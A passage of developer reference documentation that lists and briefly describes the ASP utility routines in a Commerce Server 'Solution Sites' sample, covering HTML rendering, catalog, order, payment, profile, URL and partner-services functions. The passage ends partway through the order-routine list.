This function creates an array with the number of array elements specified by the iCount parameter. Each array element is assigned the attribute string specified by the sAttList parameter. This is used to construct a table style array initialized to a common value.
InsertBlankSpace
This function returns a string containing space characters, where the number of space characters is equal to the number of items in the passed array.
InsertLineBreaks
This function returns a string containing a concatenation of each of the strings in the passed array, separated by BR elements, and ending with a BR element. In other words, it concatenates the strings in the array, appending a <BR> tag to each string in the process.
InsertParagraphBreaks
This function returns a string containing a concatenation of each of the strings in the passed array, where each source string is wrapped in a P element. In other words, it concatenates the strings in the array, prepending a <P> tag to the beginning of each source string and appending a </P> tag to the end of each source string.
Italic
This function surrounds the string specified by the s parameter with the tags <I> and </I> and then returns the resulting string.
PTag
This function surrounds the string specified by the s parameter with the tags <P> and </P>, and then returns the resulting string.
RenderCheckBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "CHECKBOX", and for which other attribute values are supplied by the parameters.
RenderElement
This function prepares the HTML that will render an arbitrary HTML element and its associated attributes and content, as specified by the parameters.
RenderForm
This function prepares the HTML that will render the specified HTML form.
RenderHiddenField
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "HIDDEN", and for which other attribute values are supplied by the parameters.
RenderImage
This function prepares the HTML that will render an IMG element for which other attribute values are supplied by the parameters.
RenderImageButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "IMAGE", and for which other attribute values are supplied by the parameters.
RenderLink
This function prepares the HTML that will render a link (an HTML A element) for which the attribute values and hot text are supplied by the parameters.
RenderListBox
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters.
RenderListBoxFromArray
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant ARRAY_COLLECTION, and passing through all other parameters as is.
RenderListBoxFromSimpleList
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant SIMPLELIST_COLLECTION, and passing through all other parameters as is.
RenderListFromSimpleList
This function prepares the HTML that will render a sequence of formatted text items, each followed by the BR element.
RenderPasswordBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "PASSWORD", and for which other attribute values are supplied by the parameters.
RenderPreFormattedText
This function prepares the HTML that will render the passed string as pre-formatted text.
RenderRadioButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RADIO", and for which other attribute values are supplied by the parameters.
RenderResetButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RESET", and for which other attribute values are supplied by the parameters.
RenderSubmitButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "SUBMIT", and for which other attribute values are supplied by the parameters.
RenderTable
This function prepares the HTML that will render a TABLE element for which the attributes and content are supplied by the parameters.
RenderTableDataRow
This function prepares the HTML that will render a row of data within a table. In other words, a series of TD elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant DATA_ROW, and passing through all other parameters as is.
RenderTableHeaderRow
This function prepares the HTML that will render a header row within a table. In other words, a series of TH elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant HEADER_ROW, and passing through all other parameters as is.
RenderTableRow
This function prepares the HTML that will render a header or data row within a table. In other words, a series of either TH or TD elements wrapped in a TR element. It performs the real work for the functions RenderTableHeaderRow and RenderTableDataRow, which hardcode the iRowType parameter to the constants HEADER_ROW and DATA_ROW, respectively, and passing through all other parameters as is.
RenderText
This function prepares the HTML that will render the specified string wrapped in FONT tags, and assigned the specified FONT-specific attributes.
RenderTextBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "TEXT", and for which other attribute values are supplied by the parameters.
RenderUnorderedList
This function prepares the HTML that will render an unordered list from the data in the passed array. In other words, a series of LI elements wrapped in a UL element.
RenderUnorderedListFromSimpleList
This function prepares the HTML that will render a series of list elements from the data in the passed SimpleList object. In other words, a series of LI elements.
Tag
This function encloses the text segment between a beginning and an ending HTML tag.


Miscellaneous Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_util_lib.asp

The following miscellaneous utility routines are defined in this file:

ConvertListToArray
This function converts a SimpleList object to an array.
CreateSet
This function creates a set from an array of items.
DoubleQuote
This function applies double quotes to a string.
FormatOutput
This function formats a string, replacing variables in the sTemplate parameter of the form %1, %2, and so on, with strings supplied in the arrArgs array parameter.
GetAddressPage
This function returns the name of the page used to enter or select an address. If the user is an anonymous user or if address book functionality is disabled, the name of the address form page is returned. Otherwise, the name of the address book page is returned.
GetArrayFromList
This function creates and returns an array containing the items in the specified SimpleList object.
GetDictionary
This function creates and returns a Dictionary object.
GetDiscountDescription
This function searches the content list and returns the description of the discount that has been applied to the item.
GetErrorSource
This function returns the site and function names of the error source.
GetFileSystemObject
This function creates and returns a Scripting.FileSystemObject object.
GetKeyValue
This function returns the value part of a key/value pair line in an INI file.
GetListItemIndex
This function returns the index of the specified item in the list.
GetObjectInstanceDictionary
This function creates and returns a Dictionary object. The Dictionary object contains an item called "Dictionary" that contains an empty Dictionary object. The Dictionary object also contains an item called "SimpleList" that contains an empty SimpleList object.
GetQualifiedName
This function constructs a qualified name from the group name and fieldname, resulting in a string of the form sGroupName.sFieldName.
GetRecordCount
This function returns the number of records in the specified Recordset object.
GetRegExp
This function creates and returns the VBScript.RegExp object.
GetSimpleList
This function creates and returns a SimpleList object.
htmRenderCurrency
This function renders a monetary value, using the base currency setting. It will also render the monetary value and the alternate currency for the site (for example, the Euro) depending on the settings of the site.
IsBitValueSet
This function determines whether every bit in the iBitValue parameter is also set in the iValue parameter, returning True if so, and False otherwise.
IsEntityInArray
This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the array specified by the arrItems parameter, returning True if so, and False otherwise.
IsEntityInList
This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the SimpleList object specified by the list parameter, returning True if so, and False otherwise.
IsEntityInSet
This function determines whether the string specified by the sEntity parameter is equal to one of the substrings in the comma-separated string specified by the sSet parameter, returning True if so, and False otherwise.
IsNumberInRange
This function determines whether the number specified by the iNumber parameter is in the range specified by the iMin and iMax parameters (inclusive), returning True if so, and False otherwise.
RsToDict
This function creates a new Dictionary object and populates it with the fields of the current record in the passed Recordset object. The field names are used as the dictionary keys, and the field values are assigned to the corresponding keys.
SortDictionaryKeys
This function sorts the keys for a Dictionary object and puts the result into a SimpleList object.


Order Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_ordergrp_lib.asp

The following order processing utility routines are defined in this file:

AddDiscountMessages
This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.
GetAnyLineItem
This function returns an arbitrary line item from the specified OrderGroup object, which is useful when all line items contain similar information. This is accomplished by searching each OrderForm object in the specified OrderGroup object, and returning the first line item found.
GetAnyOrderForm
This function searches the specified OrderGroup object, and returns the first OrderForm object it finds.
GetErrorCount
This function returns the error count in each order form.
GetLineItemsCount
This function returns the number of items in the basket.
GetOrderGroup
This function returns an initialized OrderGroup object.
GetOrderGroupManager
This function returns an OrderGroupManager object.
LoadBasket
This function retrieves and returns the OrderGroup object associated with the current user, calling its LoadBasket method before returning.
RemoveEmptyOrderForms
This sub removes empty OrderForm objects from the specified OrderGroup object.
SetKeyOnOrderForms
This sub sets the key on order forms.


Payment Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\payment.asp

The following payment processing utility routines are defined in this file:

CatchErrorsForPaymentPages
This sub redirects the user to the appropriate page if an error is encountered when initializing the credit card or purchase order pages.
CheckOut
This function runs the basket, total, and checkout pipelines.
EnsureSupportForPaymentMethod
This sub checks whether the selected payment method is supported for the user; if it is not, the user is redirected to the default payment method page for the user.
GetDefaultPaymentMethodForUser
This function returns the first payment method in the passed SimpleList object.
GetPaymentMethodDisplayName
This function returns the display name for the specified payment method.
GetPaymentMethodsForUser
This function returns the payment methods for the user.
GetPaymentPageFromPaymentMethod
This function returns the friendly name of either the crdtcard.asp or po.asp page, depending on the value of the sPaymentMethod parameter.
GetXMLForVendorItems
This function creates and returns an XML document containing the line items corresponding to the specified order form and vendor. The oVendor parameter is a list of line items to be associated with a vendor, and is generated in the Splitter component of the checkout pipeline.
htmRenderPaymentOptionsForUser
This function renders the payment options for the user.
InvokeBizTalk
This sub submits purchase orders to the appropriate vendors using BizTalk Server when BizTalk Server integration is enabled.
SaveBasketAsOrder
This sub saves the basket as an order and deletes old baskets. It also invokes the BizTalk Server as appropriate, and calls the routine Analysis_LogSubmitOrder for analysis purposes.
SubmitUsingBizTalk
This function submits an order using the Submit method of the BizTalk Server Interchange object.


Pipeline Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_pipeline_lib.asp

The following pipeline utility routines are defined in this file:

GetPipelineLogFile
This function returns the log file path along with the user ID in the file name.
RunMtsPipeline
This function runs one of four pipelines on the passed OrderGroup object: Product, Basket, Total, or Checkout. It establishes the appropriate context dictionary and logging support prior to running the pipeline.


Product Catalog Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\catalog.asp

The following product catalog utility routines are defined in this file:

EnsureUserHasRightsToCatalog
This sub ensures that the user has access rights to the given catalog. If not, the user is redirected to the "bad catalog item" error page (error\baditem.asp).
GetCatalogForUser
This function returns the ProductCatalog object specified by the sCatalogName parameter. If the user does not have rights to this catalog, the user is redirected to the "bad catalog item" error page (error\baditem.asp).
GetPriceAndCurrency
This sub retrieves both the price and a formatted price string for a product.
htmRenderCatalogList
This function creates a string that contains a series of links to different catalogs, separated by carriage returns.
htmRenderCategoriesList
This function creates the HTML representation of a list of links to the categories within the passed Recordset object.
htmRenderCategoryPage
This function renders a category page, which lists subcategories and products within a category.
htmRenderProductsTable
This function renders a Recordset object containing products in a table format. The table has the following four columns: identifying property (for example SKU), name, description, and price. If the identifying property and name are the same, only three columns are shown.
mscsGetCategoryObject
This function gets the Category object for the given category name. If the category name is "" (meaning the root category), this function returns Nothing, as the catalog does not have a Category object for the root category.
mscsGetProductList
This function returns the product Recordset object for a specified category, using the specified paging information.
mscsGetSubCategoriesList
This function returns the child categories Recordset object for the Category object specified by the oCategory parameter.
mscsUserCatalogs
This function returns a Recordset object that contains the catalogs associated with the current user.
mscsUserCatalogsetID
This function returns the ID of the catalog set associated with the current user. If it is not found, the ID of the catalog set associated with the user's organization is returned. If it is not found, the ID of the default catalog set for the type of the current user is returned.
mscsUserCatalogsFromID
This function returns a Recordset object containing the catalogs associated catalog set ID specified by the CatalogSetID parameter.
RenderCatalogLink
This function prepares the HTML that will render a link to the specified catalog, using the specified FONT element attributes for the link text style.
RenderCatalogURL
This function constructs the URL for a catalog. This produces the same result as calling the RenderCategoryURL function with an empty string for the sCategory parameter and the number one (1) for the nPage parameter.
RenderCategoryLink
This function prepares the HTML that will render a link to the specified catalog, category, and page number, using the specified FONT element attributes for the link text style.
RenderCategoryURL
This function constructs the URL for a category by appending the specified catalog, category, and page number as arguments to the category page URL stored in the MSCSSitePages Dictionary object.
RenderProductLink
This function prepares the HTML that will render a link to the product specified by the parameters, using the specified FONT element attributes for the link text style.
RenderProductURL
This function constructs the URL for the specified product.
RenderSearchResultRow
This function prepares the HTML that will render the current record from a Recordset object containing search results.
RenderSearchResults
This function prepares the HTML that will render the search results contained in the passed Recordset object.
rsFreeTextSearch
This function performs a free text search and returns the results as a Recordset object. The number of records retrieved is set in the iRecordCount parameter.
sUserCatalogsAsString
This function retrieves the catalogs associated with a user as a comma-separated list, suitable for passing to various catalog methods that accept a list of catalogs as a parameter.


Profile Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_profile_lib.asp

The following profile utility routines are defined in this file:

EnsureUpToDateUserProfile
This sub retrieves the profile of the user from the cache if it is up-to-date. Otherwise, the profile is retrieved from the Profiles store.
EnsureUserProfile
This function ensures that the profile of the user exists. If not, the user is redirected to the "missing profile" error page (error\profile.asp).
GetCurrentUserProfile
This function gets the profile of the current user, if the user has one. This function also ensures that the profile returned is the latest version available on the Web farm.
GetNewGuestUserProfile
If the privacy options of the Site Configuration dictionary is set to PROFILE_GUEST_USER, this function creates a new user profile, sets the user_id_changed_by field to the newly generated user ID, sets the user_type field to GUEST_PROFILE, the account_status field to ACCOUNT_ACTIVE, the partner_desk_role field to ROLE_USER, and the date_created field to the current time. After the profile is created, the function passes it to the UpdateUserProfile routine to perform common functions the sites require when saving profiles.
GetProfileFromDB
This sub retrieves the specified profile from the Profiles store.
GetProfileService
This function creates and initializes a ProfileService object.
GetUserProfileByLoginName
This function returns the profile for the given login name.
rsGetProfile
This function retrieves the specified profile and returns it in a Recordset object.
rsGetProfileByKey
This function retrieves the profile specified by the passed key name/value pair, and returns it in a Recordset object.
UpdateUserProfile
This sub updates the profile for the current user.


String Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_string_lib.asp

The following string processing utility routines are defined in this file:

BooleanToString
This function converts a Boolean value to a string value.
RemoveBlankItemsFromArray
This sub copies all non-empty strings from the array specified by the arrItems parameter into the array specified by the arrNew parameter, discarding any previous contents of the latter.
sChopOffLeft
This function deletes the left section of the sValue parameter string corresponding to the sToChopOffLeft parameter string, providing that the sValue parameter string begins with the sToChopOffLeft parameter string.
sChopOffRight
This function deletes the right section of the sValue parameter string corresponding to the sToChopOffRight parameter string, providing the sValue parameter string ends with the sToChopOffRight parameter string.
Space
This function counts spaces and renders the appropriate number of HTML spaces (&nbsp).
StringToBoolean
This function converts a String to a Boolean.


URL Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_url_lib.asp

The following URL processing utility routines are defined in this file:

AddURLArguments
This function appends property/value pairs to a URL string.
GenerateURL
This function checks whether the page is defined as supporting the Secure Socket Layer (SSL) protocol, and whether the ticket is stored in a cookie or in the URL. This information, along with the parameters, is passed to the GetURL method of the AuthManager object.
GetRequestString
This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.
GetRequestStringRange
This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object. This function also ensures that the requested string is within the length range specified by the iMinLength and iMaxLength parameters.
GetTicketInUrlArg
This function retrieves the ticket from a URL string.
GetTicketLocation
This function returns the location of a ticket.


Services Utility Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines appropriate for use only on the customer and partner services Web pages can be divided into the following categories, which also correspond to the sets of files in which they are defined.

This section contains:

  • Services Active Directory Routines
  • Services Edit Page Routines
  • Services List Page Routines
  • Services Initialization Routines
  • Services Message Box Routines
  • Services Miscellaneous Routines
  • Services Order Routines
  • Services Password Routines
  • Services Profile Routines


Services Active Directory Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\ad_routines.asp

The following customer and partner services utility routines are related to Active Directory processing, and are defined in this file:

bAddUserToGroup
This function adds a user to an existing Active Directory group.
bPaintACLForUser
This function paints access control lists (ACLs) for a user in an Active Directory store. This is achieved by adding or removing the user to or from <COMPANY_NAME>_ADMINGROUP or <COMPANY_NAME>_USERGROUP.
bRemoveUserFromGroup
This function removes a user from an Active Directory group.


Services Edit Page Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\edit_handlers.asp

The following customer and partner services utility routines are related to handling edit page processing, and are defined in this file:

DeleteAllActionHandler
This sub checks the user action on the DeleteAll message box page, and redirects to the profile list page with the appropriate parameters.
DeSelectAllActionHandler
This sub redirects the user in a "Select All" action.
GetStatusFieldAndID
This sub updates the status message for the "Save" action.
htmAddActionHandler
This function renders a blank edit page for any profile, and serves as a wrapper function to the htmRenderBlankEditPage function.
htmChangePasswordActionHandler
This function is called by EDIT-type pages for changing the user_security_password property. It is called before the execution is passed to the change_password.asp page.
htmCloseActionHandler
This function provides rendering for the "Close" action handler.
htmCopyActionHandler
This function provides rendering for the "Copy" action handler.
htmDeleteActionHandler
This function provides rendering for the "Delete" action handler.
htmEditAction
This function provides the "Edit" action handler. It supports single-edit, multi-edit, and SelectAll+Edit scenarios. Business logic to prepare for this display is in the PrepareEditAction subroutine.
htmEditAllProfiles
This function serves as a wrapper function for the htmRenderEditPage function, and renders the edit page contents.
htmInsertProfile
This function renders the edit page by calling the htmRenderEditPage function if the profile has been successfully inserted during the profile save operation that calls this function; otherwise, it renders the edit page by calling the htmRenderBlankEditPage function.
htmSaveActionHandler
This function checks if the user is saving profiles returned by the search criteria in the corresponding list page, then calls an appropriate handler to handle the following cases: SELECTALL_ACTION; ADD_ACTION; COPY_ACTION; EDIT_ACTION.
htmSaveAllActionHandler
This function renders the "Save All" action output.
htmSaveProfiles
This function renders the "Save Profiles" action output.
htmSelectActionHandlerForEdit
This function renders the "Select" action.
htmSelectedActionHandlerForEdit
This function renders the "Selected" action.
PrepareAddAction
This sub initializes its five parameters in preparation for adding a user in Partner Services.
PrepareCloseAction
This sub prepares for the call to the function htmCloseActionHandler by initializing the values of all of the passed parameters other than the first two.
PrepareCopyAction
This sub prepares for the call to the function htmCopyActionHandler by initializing the values of all of the passed parameters other than the first two.
PrepareDeleteAction
This sub prepares for the call to the function htmDeleteActionHandler by initializing the values of the last two parameters.
PrepareDeleteAllAction
This sub prepares for the call to the sub DeleteAllActionHandler by initializing the value of its one parameter.
PrepareDeselectAllAction
This sub prepares for the call to the sub DeSelectAllActionHandler by initializing the value of its one parameter.
PrepareEditAction
This sub prepares for the call to the function htmEditAction by initializing the values of the last two parameters.
PrepareEditAllAction
This sub initializes the parameters passed to it.
PrepareInsertProfile
This sub prepares for the call to the function htmInsertProfile by initializing the values of all parameters other than sSubAction and sProfileIDs.
PrepareSaveAction
This sub currently performs no processing at all, but is called before calls to the function htmSaveActionHandler. If you modify the latter function and need to perform special preparation before calling it, consider adding the preparation code to this function.
PrepareSaveAllAction
This sub prepares for the call to the function htmSaveAllActionHandler by initializing the values of the parameters passed to it. When the profile changes are found to be valid, the sub SaveAllSelectedProfiles is called to save the changes.
PrepareSaveProfiles
This sub prepares for the call to the function htmSaveProfiles by initializing the values of all parameters passed to it other than the first three.
PrepareSelectActionHandlerForEdit
This sub prepares for the call to the function htmSelectActionHandlerForEdit by initializing the values of all parameters passed to it other than the first three.
PrepareSelectAllAction
This sub prepares for the call to the sub SelectAllActionHandler by initializing the value of the sProfileListPage parameter.
PrepareSelectedAction
This sub prepares for the call to the function htmSelectedActionHandlerForEdit by initializing the values of the last three parameters.
SelectAllActionHandler
This sub provides the "Select All" action handler.

services\include\render_edit_blank.asp

The following customer and partner services utility routines are related to preparing blank edit page content for rendering, and are defined in this file:

formRenderBlankEditPageBody
This function prepares the HTML that will render a blank profile editing form.
htmRenderBlankEditPage
This function renders a blank edit page for any profile.
rowRenderBlankProperty
This function prepares the HTML that will render a row in a table that corresponds to a blank property. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.
tableRenderBlankProfile
This function prepares the HTML that will render tables for blank editing pages.

services\include\render_edit_common.asp

The following customer and partner services utility routines are related to preparing edit page content for rendering, and are defined in this file:

colRenderForeignKeyProperty
This function renders hidden fields that contain a variety of content, depending on whether a pre-existing profile exists, whether a new profile is being created, and so on. A button is rendered to allow the user to submit the selected information.
colRenderPasswordProperty
This function prepares the rendering of the value for the user_security_password property.
colRenderPrimaryKeyProperty
This function prepares the rendering of the value for the primary key property.
colRenderProperty
This function prepares the rendering of a property.
colRenderPropertyTip
This function prepares a warning message for a property that fails validation.
colRenderUniqueKeyProperty
This function prepares the rendering of the value for the unique key property.
formRenderEditPageBody
This function prepares the HTML that will render a profile editing form.
htmRenderEditPage
This function renders the contents of any EDIT-type page.
rowRenderHiddenProperty
This function prepares the HTML that will include hidden properties as INPUT elements with their TYPE attribute set to "HIDDEN".
rowRenderProperty
This function prepares the HTML that will render a row in a table that corresponds to a property that is accessible to the current user. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.
rowRenderPropertyGroup
This function prepares the HTML that will render a row containing a property group heading.
rowRenderPropertyTip
This function examines the specified property, and if found to have an error associated with it, adds a table row that displays an error message in the third of three cells.
rowRenderReadOnlyProperty
This function prepares the HTML that will render a row in a table that corresponds to a read-only property. This row contains three cells: blank, the display name, and the value, respectively.
sRenderHTMLPreFixForProperty
This function renders the "Required" icon or check box (for multi-edits) before each property in an EDIT-type page.
tableRenderEditPageTasks
This function renders tasks buttons for the current page.
tableRenderProfiles
This function renders an edit page for a profile.
varGetPropertyValue
This function determines the profile property value to display.
varGetValueFromPropertyDictionaries
This function gets the property value from a list of property dictionaries.
varGetValueFromRequestObject
This function gets the property value from the underlying Request object (URL or HTML FORM).
varUpdateValueForCurrentAction
This function gets the property value based on the current action type as stored in the global variable sAction.


Services List Page Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\list_handlers.asp

The following customer and partner services utility routine is related to handling list page processing, and is defined in this file:

SelectedActionHandlerForList
This sub provides the "Selected" action handler for a LIST-type page.

services\include\render_list.asp

The following customer and partner services utility routines are related to preparing list page content for rendering, and are defined in this file:

arrPopulateProfileDetails
This function populates an array with the properties of a profile.
formRenderListPageContents
This function prepares the HTML that will render a profile list form.
formRenderProfileSearchOptions
This function prepares the HTML that will render either a simple or advanced profile searching form, based on the value of the request variable QUERY_STRING_CRITERIA.
htmRenderProfilesList
This function renders the contents for any LIST-type page.
htmRenderUniqueIDForProfile
This function adds a globally unique profile identifier to the LIST page.
RelocateRecordPointer2
This sub initializes local variables used in the paging mechanism of the page that lists profiles. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.
rowRenderListHeading
This function prepares the HTML that will render the header row for a table of profile properties, skipping properties that are designated as not to be shown.
rowsRenderAdvanceSearchOptionsForProfiles
This function prepares the HTML that will render a series of rows in a table where each row allows advanced search criterion for profiles to be specified.
rowsRenderSimpleSearchOptionsForProfiles
This function prepares the HTML that will render a series of rows in a table where each row allows simple search criterion for profiles to be specified.
tableRenderListPageTasks
This function renders tasks specific to LIST-type pages.
tableRenderMultipleRecords
This function adds list contents to the current page.


Services Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\global_service_lib.asp

The following customer and partner services utility routines are related to application initialization, and are defined in this file:

AddPartnerAndCustomerServicePages
This sub assigns friendly names to pages used by Customer and Partner Services.
AddPartnerAndCustomerServiceStyles
This sub adds styles used by Customer and Partner Services.
GetPartnerAndCustomerServicePageAttributes
This function retrieves the properties for all Partner and Customer Services pages.

services\include\initialize.asp

The following customer and partner services utility routines are also related to initialization, and are defined in this file:

InitializePartnerDesk
This sub initializes its parameters for use in all Customer and Partner Services pages.
sGetAction
This function determines the action to be taken for the current page.
sGetIDFromForm
This function loops through the FORM collection to determine the selected profiles.
sGetSelectedIDs
This function gets the profile IDs.
sGetSubAction
This function gets the sub action.


Services Message Box Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\messagebox_handlers.asp

The following customer and partner services utility routines are related to handling the presentation of message boxes, and are defined in this file:

htmSaveChangesConfirmationHandler
This function renders the "Save Changes Confirmation" action.
PrepareSaveChangesConfirmation
This sub prepares for the call to the function htmChangePasswordActionHandler by initializing the values of all parameters passed to it other than the first. This sub is also called by PrepareSelectActionHandlerForEdit to help initialize its parameters.

services\include\render_messagebox.asp

The following customer and partner services utility routines are related to preparing message box content for rendering, and are defined in this file:

htmRenderMessageBoxForCancel
This function renders the message box page for a cancel action.
htmRenderMessageBoxForDelete
This function renders the message box page while deleting entity records.
htmRenderMessageBoxForDeleteAll
This function renders the message box page for a "DeleteAll" action.
htmRenderMessageBoxForSave
This function renders the message box page with save options.
htmRenderMessageBoxForSelect
This function renders the message box page for a "Select" action.
htmRenderMessageBoxPage
This function renders the message box page.
rowRenderMessageBoxPageContents
This function prepares the HTML that will render the contents for the message box page.
tableRenderMessageBoxPage
This function renders a message box page.
tableRenderMessageBoxPageButtons
This function renders the message box page submit buttons.


Services Miscellaneous Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\lib.asp

The following customer and partner services utility routines provide a variety of miscellaneous processing assistance, and are defined in this file:

bCheckIfThePropertyFeatureIsSupported
This function determines whether the featureID attribute for the specified property is set.
bInvalidDate
This function determines whether a given date is not valid.
bValidateLoginNameChars
This function validates the characters in a login name.
bValidatePasswordChars
This function validates the characters in the string specified by the sPassword parameter.
CheckIfOrderExists
This sub redirects the user or delegated administrator to the services\error\noorder.asp page if the specified order does not exist.
CheckIfProfilesExist
This sub determines whether the specified profiles exist.
dictGetpropertyFromList
This function retrieves the specified property from a list of properties.
dictGetSearchDictionaryForPage
This function retrieves the filter criteria for the current user and page.
GetSearchDictionaryForThisPage
This function stores and retrieves the search criteria for the current user and current page.
iGetCountOfProfiles
This function returns –1 if the sSubAction parameter is equal to the constant SELECTALL_ACTION. Otherwise, it returns the number of profiles in the string specified by the sProfileIDs parameter.
iGetCurrentUserPropertyAccessClass
This function is used in Partner Services to determine whether the current user is a registered user, and if the user is anonymous or a delegated administrator.
InitializePagingVariables
This sub initializes paging variables for Customer and Partner Services. The iPageNumber and iTotalPages parameters are initialized based on the values of the sAction and bIsProfilePage parameters.
listCloneProfileSchema
This function creates and returns a SimpleList object that contains a copy of the profile schema associated with the page specified by the sPageName parameter.
listGetValidPropertiesForMultiEdit
This function creates, initializes, and returns a SimpleList object that contains those profile properties from the SimpleList object specified by the listProfileSchema parameter that are valid participants in the current multi-edit operation.
listReConstructPropertiesSchema
This function reconstructs the profile schema to include the properties that have failed validation.
PopulateOrderSearchCriteria
This sub retrieves search criteria related to an order from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.
PopulateProfileSearchCriteria
This sub retrieves search criteria related to a profile from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.
ReDirectToPage
This sub generates a URL for the specified page and appends name/value argument pairs based on the corresponding values in the arrKeys and arrValues array parameters. It then redirects the user using the constructed URL.
RelocateRecordPointer
This sub initializes local variables used in the paging mechanism of the page that lists orders. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.
SetGlobalPagingVariables
This sub sets the global paging variables depending on the local variables passed to the sub.
sGetDisplayValueForProperty
This function gets the display text for properties of type Number.
sGetOrderStatusDetails
This function gets the description for the order status code.
sGetParentDN
This function gets the ParentDN property related to an organization.
sGetSelectActionPropertyName
This function gets the property name for the Select Action button that was clicked.
sGetThisPageProperty
This function gets the page properties.
sGetUserAccessForThisProperty
This function returns the current user access privileges for this property.
sGetUserPartnerDeskRole
This function gets the i_partnerdeskroleflags description for the user.
sGetUserStatus
This function gets the status code description for the user.
TDTag
This function prepares the HTML that will render a data cell in an HTML table.
THTag
This function prepares the HTML that will render a header cell in an HTML table.
TRTag
This function renders a table row.
ValidateFields
This function validates submitted profile form fields retrieved from the HTTP request using the profile schema specified by the listCtrls parameter.

services\include\render_common.asp

The following customer and partner services utility routines are related to the preparation of content for rendering, and are defined in this file:

cellRenderReadOnlyProperty
This function prepares a read-only property to be rendered.
colRenderAdvancedSearchTab
This function adds the advanced search option tab to list-type pages.
colRenderCountryNames
This function prepares the rendering of all country names.
colRenderSimpleSearchTab
This function adds the simple search option tab to list-type pages.
formRenderPagingButtons
This function prepares the HTML that will render paging buttons. These buttons are wrapped in a form that gets posted when a paging button is clicked.
htmRenderBlankSpaces
This function renders HTML blank spaces (&nbsp).
htmRenderBoolean
This function renders a check box corresponding to a Boolean property.
htmRenderCountries
This function renders all the country names in an HTML combo box.
htmRenderEmptyRecordSet
This function renders the HTML table for an empty recordset.
htmRenderOrderDateTypes
This function renders the order date type for both user and organization orders.
htmRenderOrderStatusOptions
This function renders the order status options.
htmRenderPartnerDeskRoles
This function renders the user i_PartnerDeskRoleFlags options.
htmRenderSelectEndTag
This function renders the HTML end select tag, </SELECT>.
htmRenderSelectTag
This function renders the select tag.
htmRenderSiteTerm
This function renders a list box corresponding to a SiteTerm property.
htmRenderUserStatusOptions
This function renders the user status options.
rowRenderEditSheetBlankLine
This function prepares the HTML that will render a blank line in an edit sheet table.
rowRenderHeader
This function allows you to put a common toolbar (containing, for example, a Help button) at the top of every page. It currently does nothing.
rowRenderSearchOptionForDate
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a pair of text boxes that correspond to a starting and ending date.
rowRenderSearchOptionForInteger
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a list box displaying options appropriate for one of four possible properties: user status, partner services role, order status, and types of dates associated with the order.
rowRenderSearchOptionForString
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a text box for entering a string value for which to search.
rowRenderStatusInfo
This function prepares the HTML that will render a row in a table that contains one column in which status information is placed based on the values of the parameters.
sGetPageHeading
This function gets the page heading.
sReConstructPageURL
This function re-constructs the page URL and replaces the key values.
sReplaceString
This function replaces or adds the value for a key in a query string with a new value.
tableRenderFooterInfo
This function renders footer information for the current page.


Services Order Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\logic_orders.asp

The following customer and partner services utility routines are related to orders and discount logic, and are defined in this file:

AddDiscountMessages
This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.
mscsGetOrderGroupWithDiscountsByID
This function retrieves the OrderGroup object associated with the current user, loads the order specified by the iID parameter, adds discount messages, and then returns a reference to the OrderGroup object.
PrepareOrderList
This sub prepares for the calls to the routines formRenderOrderSearchOptions, formRenderOrdersListContents, rowRenderStatusInfo, and tableRenderFooterInfo by initializing the values of all parameters other than the first.
sGetAddressName
This function gets the address name field of the specified address ID in the specified order group.
sGetPaymentMethodString
